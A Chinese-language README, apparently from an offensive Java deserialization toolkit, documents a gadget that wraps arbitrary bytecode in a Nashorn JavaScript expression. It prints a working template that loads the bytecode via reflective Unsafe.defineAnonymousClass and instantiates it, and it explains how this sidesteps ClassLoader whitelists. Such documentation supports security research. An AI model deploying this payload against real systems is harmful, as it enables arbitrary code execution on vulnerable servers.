Skip to content

Latest commit

 

History

History
51 lines (41 loc) · 4.36 KB

File metadata and controls

51 lines (41 loc) · 4.36 KB

将byte[]字节码转换为Js表达式字符串(JsConvert)

  • 类别:common 别名:— 优先级:50
  • 作者:—
  • 依赖8 <= jdk <= 14(脚本引擎 Nashorn 存在于 JDK 8~14,JDK 15 移除)

作用

把内层 gadget 产出的 byte[] 字节码,编码为一段 JavaScript 表达式字符串。该 JS 脚本在被 JS 引擎(Nashorn/Rhino)执行时,通过 sun.misc.Unsafe.defineAnonymousClass 直接从字节码定义匿名类并 newInstance(),从而在脚本执行阶段实现任意字节码加载与执行。它是「字节码 → JS 表达式」的转换环(convert gadget),供依赖 JS 表达式求值的上层 sink(如各类脚本执行链)消费。

链接标签

  • 入口 tagsJs_ExprExpression —— 声明本 gadget 的产物是一段可被 JS 引擎求值的表达式字符串,承接上游「需要 JS 表达式」的环节。
  • 衔接 nextTagsBytecodeConvertTag —— 之后必须接一个产出原始 byte[] 字节码的转换环(BytecodeConvert 及其字节码工厂),本 gadget 会把该字节码内嵌进 JS 模板。
  • excludes:无。

源码剖析

本类实现 Gadget 接口,核心是一段静态 JS 模板加上字节码填充:

public static String jsTemplate = "var s = '%s';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);} catch (e) {bt = java.util.Base64.getDecoder().decode(s);}var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();";

private String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
    return String.format(jsTemplate, bytecodeB64);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[])chain.doCreate(context));
}

逐段解释:

  • invokechain.doCreate(context) 取得内层对象(下游产出的 byte[] 字节码),强转为 byte[] 交给 getObject
  • getObjectorg.apache.commons.codec.binary.Base64.encodeBase64String 把字节码编成 Base64 字符串,再以 String.format 填入 jsTemplate%s 占位。
  • 模板 JS 的执行逻辑:先把 Base64 字符串 s 解码回字节数组 bt——优先走 sun.misc.BASE64Decoder.decodeBuffer(低版本 JDK),异常时回退到 java.util.Base64.getDecoder().decode
  • 关键点:反射取出 sun.misc.Unsafe 的静态字段 theUnsafesetAccessible(true) 绕过访问控制)拿到 Unsafe 单例,调用 unsafe.defineAnonymousClass(Class, byte[], Object[]) 直接在 JVM 内定义匿名类,最后 newInstance() 触发该类的静态/实例初始化逻辑(通常是恶意类的构造器或静态块中的命令执行)。
  • 借助 Unsafe.defineAnonymousClass 而非 ClassLoader.defineClass,可绕过部分 ClassLoader 层面的限制,且不需要显式的类加载器实例。

参数(@Param)

本类无 @Param。字节码内容完全由下游 nextTags=BytecodeConvertTag 的 gadget 决定。

适用版本与原理要点

  • 依赖 8 <= jdk <= 14:JS 引擎从 Java 8 起为 Oracle Nashorn,Nashorn 在 JDK 15 中被移除;因此该表达式载荷只在 JDK 8~14 的 Nashorn 环境可靠生效。
  • 采用 theUnsafe + defineAnonymousClass 的加载路径,属于「Unsafe 系」字节码加载,规避 ClassLoader 白名单。
  • 与同族 JsConvert2JsConver3 的区别在字节码加载手法不同(见「关联」):本类用 defineAnonymousClassJsConvert2Unsafe.defineClassJsConver3 用标准 ClassLoader.defineClass 反射。

所属预设链

  • JDK原生链1[XsltOnlyJdk, JsConvert, BytecodeConvert, Exec])——在该链中作为 XSLT/JS 载体与原始字节码之间的转换环。

关联

  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert 及其后的字节码工厂 / sink(如 Exec)。
  • 同族(同为「字节码 → JS 表达式」转换环):JsConvert2JsConver3
  • 直接执行命令而非加载字节码的 JS sink:JsExec